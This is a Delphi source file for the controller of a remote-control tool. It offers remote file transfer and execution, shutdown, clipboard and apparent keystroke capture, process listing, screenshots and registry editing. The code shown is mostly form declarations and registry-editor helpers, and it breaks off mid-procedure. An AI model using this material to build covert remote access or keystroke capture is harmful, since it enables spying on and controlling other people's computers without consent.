unit1.pas

１、远程文件访问。包括文件下载、上传（限文件8M以内）、文件（夹）更名、文件（夹）删除、文件运行、文件查找、创建文件夹、清空文件夹、文件属性查看。 ２、远程关机、启动、注销、修改组织名、用户名。

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ScktComp, ComCtrls, ExtCtrls, Menus, Buttons, ImgList,
  Jpeg, CheckLst, SUIButton;

type
  TForm1 = class(TForm)
    mainPC: TPageControl;
    TS1: TTabSheet;
    TS2: TTabSheet;
    TS3: TTabSheet;
    TS4: TTabSheet;
    TS5: TTabSheet;
    TS6: TTabSheet;
    IPVI: TListView;
    Panel1: TPanel;
    sb: TStatusBar;
    Label1: TLabel;
    IPNS: TEdit;
    GroupBox1: TGroupBox;
    yckz: TPageControl;
    KZTS2: TTabSheet;
    KZTS3: TTabSheet;
    ss: TServerSocket;
    CK: TGroupBox;
    CKED1: TEdit;
    CKL1: TLabel;
    CKL2: TLabel;
    CKED2: TEdit;
    CKB1: TBitBtn;
    CKB2: TBitBtn;
    CKB3: TBitBtn;
    CKB4: TBitBtn;
    CKB5: TBitBtn;
    GroupBox2: TGroupBox;
    clipm: TMemo;
    CKB6: TBitBtn;
    CKB7: TBitBtn;
    GroupBox3: TGroupBox;
    DOSB1: TBitBtn;
    FS2: TRadioButton;
    FS3: TRadioButton;
    FS4: TRadioButton;
    FS1: TRadioButton;
    DOSCB1: TComboBox;
    DOSCB2: TComboBox;
    DOSL1: TLabel;
    DOSL2: TLabel;
    GroupBox4: TGroupBox;
    JCBOX: TListBox;
    JCB1: TButton;
    JCL1: TLabel;
    JCL2: TLabel;
    JCB2: TButton;
    GroupBox5: TGroupBox;
    Label7: TLabel;
    Label9: TLabel;
    XXCB1: TComboBox;
    XXCB2: TComboBox;
    rr1: TRadioButton;
    Image1: TImage;
    rr2: TRadioButton;
    Image2: TImage;
    rr3: TRadioButton;
    Image3: TImage;
    rr4: TRadioButton;
    Image4: TImage;
    ccb1: TBitBtn;
    ccb2: TBitBtn;
    CKB8: TBitBtn;
    CKB9: TBitBtn;
    CKB10: TBitBtn;
    CKB11: TBitBtn;
    KZTS1: TTabSheet;
    GroupBox6: TGroupBox;
    GroupBox8: TGroupBox;
    key1: TBitBtn;
    key2: TBitBtn;
    key3: TBitBtn;
    key4: TBitBtn;
    key5: TBitBtn;
    key6: TBitBtn;
    key7: TBitBtn;
    key8: TBitBtn;
    key9: TBitBtn;
    key10: TBitBtn;
    key11: TBitBtn;
    key12: TBitBtn;
    key13: TBitBtn;
    key14: TBitBtn;
    key15: TBitBtn;
    key16: TBitBtn;
    key17: TBitBtn;
    GroupBox9: TGroupBox;
    GroupBox10: TGroupBox;
    Label11: TLabel;
    Label10: TLabel;
    ME1: TEdit;
    ME2: TEdit;
    MR1: TRadioButton;
    MR2: TRadioButton;
    MR3: TRadioButton;
    MB3: TBitBtn;
    MB1: TBitBtn;
    MB2: TBitBtn;
    firstbt: TBitBtn;
    BitBtn1: TBitBtn;
    Label2: TLabel;
    pased: TEdit;
    Label3: TLabel;
    FLV1: TListView;
    pm2: TPopupMenu;
    pm3: TPopupMenu;
    PMC: TPopupMenu;
    N6: TMenuItem;
    N7: TMenuItem;
    N8: TMenuItem;
    N9: TMenuItem;
    N10: TMenuItem;
    N12: TMenuItem;
    N14: TMenuItem;
    N15: TMenuItem;
    N16: TMenuItem;
    N17: TMenuItem;
    SCF: TOpenDialog;
    BitBtn7: TBitBtn;
    BitBtn8: TBitBtn;
    SYCB: TGroupBox;
    BitBtn4: TBitBtn;
    BitBtn3: TBitBtn;
    BitBtn6: TBitBtn;
    BitBtn5: TBitBtn;
    BitBtn2: TBitBtn;
    GroupBox11: TGroupBox;
    syed1: TEdit;
    syl1: TLabel;
    PROS: TComboBox;
    sver: TImage;
    GroupBox12: TGroupBox;
    Label4: TLabel;
    DOSB2: TBitBtn;
    dFS2: TRadioButton;
    dFS3: TRadioButton;
    dFS4: TRadioButton;
    dFS1: TRadioButton;
    DOSCB3: TComboBox;
    syl2: TLabel;
    syed2: TEdit;
    syl3: TLabel;
    syed3: TEdit;
    ImageList1: TImageList;
    GroupBox13: TGroupBox;
    regpc: TPageControl;
    REG1: TTabSheet;
    REGTV: TTreeView;
    REGLV: TListView;
    REG2: TTabSheet;
    syed4: TEdit;
    syl4: TLabel;
    FTV: TTreeView;
    REGB: TPopupMenu;
    MenuItem12: TMenuItem;
    MenuItem13: TMenuItem;
    MenuItem14: TMenuItem;
    MenuItem15: TMenuItem;
    MenuItem18: TMenuItem;
    MenuItem1: TMenuItem;
    MenuItem11: TMenuItem;
    MenuItem2: TMenuItem;
    MenuItem17: TMenuItem;
    REGA: TPopupMenu;
    MenuItem3: TMenuItem;
    MenuItem4: TMenuItem;
    MenuItem5: TMenuItem;
    MenuItem6: TMenuItem;
    Splitter1: TSplitter;
    Panel2: TPanel;
    FCB: TComboBox;
    Splitter2: TSplitter;
    stck: TCheckListBox;
    Panel3: TPanel;
    keyre: TMemo;
    keyen: TBitBtn;
    clre: TButton;
    keybg: TBitBtn;
    ImageList2: TImageList;
    Label5: TLabel;
    Label6: TLabel;
    dirsum: TEdit;
    filesum: TEdit;
    savfi: TSaveDialog;
    N2: TMenuItem;
    N11: TMenuItem;
    N13: TMenuItem;
    N18: TMenuItem;
    N19: TMenuItem;
    N20: TMenuItem;
    N21: TMenuItem;
    regt1: TTimer;
    FILt1: TTimer;
    screens: TImage;
    UPFI: TOpenDialog;
    N1: TMenuItem;
    N3: TMenuItem;
    N4: TMenuItem;
    N5: TMenuItem;
    N22: TMenuItem;
    Label12: TLabel;
    Label8: TLabel;
    IEE1: TEdit;
    IEE2: TEdit;
    N23: TMenuItem;
    N24: TMenuItem;
    BitBtn9: TBitBtn;
    BitBtn10: TBitBtn;
    procedure ssClientError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure ssClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure JCB1Click(Sender: TObject);
    procedure JCB2Click(Sender: TObject);
    procedure IPVIDblClick(Sender: TObject);
    procedure firstbtClick(Sender: TObject);
    procedure keybgClick(Sender: TObject);
    procedure keyenClick(Sender: TObject);
    procedure key1Click(Sender: TObject);
    procedure key2Click(Sender: TObject);
    procedure key3Click(Sender: TObject);
    procedure key4Click(Sender: TObject);
    procedure key5Click(Sender: TObject);
    procedure key6Click(Sender: TObject);
    procedure key7Click(Sender: TObject);
    procedure key8Click(Sender: TObject);
    procedure key9Click(Sender: TObject);
    procedure key10Click(Sender: TObject);
    procedure key11Click(Sender: TObject);
    procedure key12Click(Sender: TObject);
    procedure key13Click(Sender: TObject);
    procedure key14Click(Sender: TObject);
    procedure key15Click(Sender: TObject);
    procedure clreClick(Sender: TObject);
    procedure MB3Click(Sender: TObject);
    procedure MB1Click(Sender: TObject);
    procedure MB2Click(Sender: TObject);
    procedure CKB1Click(Sender: TObject);
    procedure CKB2Click(Sender: TObject);
    procedure CKB3Click(Sender: TObject);
    procedure CKB4Click(Sender: TObject);
    procedure CKB5Click(Sender: TObject);
    procedure key16Click(Sender: TObject);
    procedure key17Click(Sender: TObject);
    procedure CKB6Click(Sender: TObject);
    procedure CKB7Click(Sender: TObject);
    procedure DOSB1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure ccb1Click(Sender: TObject);
    procedure ccb2Click(Sender: TObject);
    procedure CKB8Click(Sender: TObject);
    procedure CKB9Click(Sender: TObject);
    procedure CKB10Click(Sender: TObject);
    procedure CKB11Click(Sender: TObject);
    procedure BitBtn2Click(Sender: TObject);
    procedure BitBtn3Click(Sender: TObject);
    procedure BitBtn4Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure BitBtn1Click(Sender: TObject);
    procedure N3Click(Sender: TObject);
    procedure BitBtn5Click(Sender: TObject);
    procedure BitBtn6Click(Sender: TObject);
    procedure BitBtn7Click(Sender: TObject);
    procedure BitBtn8Click(Sender: TObject);
    procedure PROSChange(Sender: TObject);
    procedure DOSB2Click(Sender: TObject);
    procedure syl1DblClick(Sender: TObject);
    procedure syl2DblClick(Sender: TObject);
    procedure syl3DblClick(Sender: TObject);
    procedure syed1KeyPress(Sender: TObject; var Key: Char);
    procedure syl4DblClick(Sender: TObject);
    procedure syed4KeyPress(Sender: TObject; var Key: Char);
    procedure FTVMouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure REGTVMouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure REGLVMouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure MenuItem4Click(Sender: TObject);
    procedure MenuItem3Click(Sender: TObject);
    procedure MenuItem6Click(Sender: TObject);
    procedure MenuItem14Click(Sender: TObject);
    procedure MenuItem13Click(Sender: TObject);
    procedure MenuItem15Click(Sender: TObject);
    procedure MenuItem18Click(Sender: TObject);
    procedure REGLVEdited(Sender: TObject; Item: TListItem; var S: String);
    procedure MenuItem11Click(Sender: TObject);
    procedure MenuItem17Click(Sender: TObject);
    procedure REGLVDblClick(Sender: TObject);
    procedure stckClickCheck(Sender: TObject);
    procedure pasedKeyPress(Sender: TObject; var Key: Char);
    procedure sverClick(Sender: TObject);
    procedure FCBChange(Sender: TObject);
    procedure FTVDblClick(Sender: TObject);
    procedure FLV1DblClick(Sender: TObject);
    procedure N6Click(Sender: TObject);
    procedure N8Click(Sender: TObject);
    procedure N12Click(Sender: TObject);
    procedure N15Click(Sender: TObject);
    procedure N17Click(Sender: TObject);
    procedure N9Click(Sender: TObject);
    procedure N13Click(Sender: TObject);
    procedure N18Click(Sender: TObject);
    procedure N19Click(Sender: TObject);
    procedure N21Click(Sender: TObject);
    procedure regt1Timer(Sender: TObject);
    procedure TS3Show(Sender: TObject);
    procedure FILt1Timer(Sender: TObject);
    procedure TS1Show(Sender: TObject);
    procedure TS2Show(Sender: TObject);
    procedure REGTVKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure FTVKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure REGLVKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure FLV1KeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure screensClick(Sender: TObject);
    procedure N22Click(Sender: TObject);
    procedure IEE1KeyPress(Sender: TObject; var Key: Char);
    procedure IEE2KeyPress(Sender: TObject; var Key: Char);
    procedure Label8Click(Sender: TObject);
    procedure Label12Click(Sender: TObject);
    procedure IEE1MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure IEE2MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure N1Click(Sender: TObject);
    procedure FTVEdited(Sender: TObject; Node: TTreeNode; var S: String);
    procedure N5Click(Sender: TObject);
    procedure BitBtn9Click(Sender: TObject);
    procedure BitBtn10Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  fullip,kks,i,t,renum:integer;
  MySize: Longint;
  Myst: TMemorystream;{内存流对象}
  dirname,filname, fscreen:string;
  DOWF,UPF:TFileStream;

implementation
uses unit2, Unit3,unit4;

{$R *.dfm}

procedure eds();
var ty,st:string;
    buffer : array[0..1024] of byte;
    i : integer;
begin//值修改
 if form1.REGLV.ItemIndex =-1 then exit;

 TY :=form1.REGLV.Items[form1.REGLV.Selected.Index].SubItems[0];
 form3.PA1.Visible :=true;
 form3.PA2.Visible :=true;
 form3.PA3.Visible :=true;

 if (ty='REG_EXPAND_SZ') OR (ty='REG_MULTI_SZ')  then exit;
 if ty='REG_SZ' then
  begin
   form3.Edit1.Text :=form1.REGLV.Selected.Caption;
   form3.Edit2.Text :=form1.REGLV.Items[form1.REGLV.Selected.Index].SubItems[1];
   Form3.Caption :='REG_SZ  值修改';
   form3.PA2.Visible :=false;
   form3.PA3.Visible :=false;
  end;

 if ty='REG_DWORD' then
  begin
   form3.Edit3.Text :=form1.REGLV.Selected.Caption;
   form3.Edit4.Text :=form1.REGLV.Items[form1.REGLV.Selected.Index].SubItems[1];
   Form3.Caption :='REG_DWORD  值修改';
   form3.PA1.Visible :=false;
   form3.PA3.Visible :=false;
  end;

 if ty='REG_BINARY' then
  begin
   form3.Edit5.Text :=form1.REGLV.Selected.Caption;
   form3.Edit6.Text :=form1.REGLV.Items[form1.REGLV.Selected.Index].SubItems[1];
   Form3.Caption :='REG_BINARY  值修改';
   form3.PA1.Visible :=false;
   form3.PA2.Visible :=false;
  end;

 form1.Enabled :=false;
 form3.Visible :=true;
end;

procedure number();//子键序号排序
var s,i,s1:integer;
    str:string;
begin
     s:=form1.REGLV.Items.Count;
     renum:=1;
     for i:=1 to s do
      begin
        str:=form1.REGLV.Items[i-1].Caption;
        s1:=pos('#',str);
        if s1>0 then
         begin
          renum:=strtoint(copy(str,s1+1,length(str)-s1))+1;
         end;
      end;
end;

procedure number2();//主键序号排序
var s,i,s1:integer;
    str:string;
begin
     s:=strtoint(form1.sb.Panels.Items[3].Text);
     renum:=1;
     for i:=s  downto 1 do
      begin
        str:=form1.REGTV.Selected.Item[i-1].Text ;
        if copy(str,1,4)<>'新项' then
         exit
        else
         begin
          s1:=pos('#',str);
          if s1>0 then
           renum:=strtoint(copy(str,s1+1,length(str)-s1))+1;
          exit;
         end;
      end;
end;

procedure ChangeSelectNode(tree:TTreeView;x,y:integer;Button: TMouseButton);
var  anode, AItem:TTreeNode;
     strTmp: string;
begin
  if button=mbright then  { 是否按了右键 }
  begin
   anode:=tree.GetNodeAt(x,y);  { 取 x,y 坐标下的结点 }
   if anode<>nil then
     anode.Selected :=true;   { 设置点中结点为选中 }
  end;
  strTmp := '';
  AItem := form1.REGTV.Selected;
  while Assigned(AItem) do
  begin
    strTmp := AItem.Text+'\'+strTmp;
    AItem := AItem.Parent;
  end;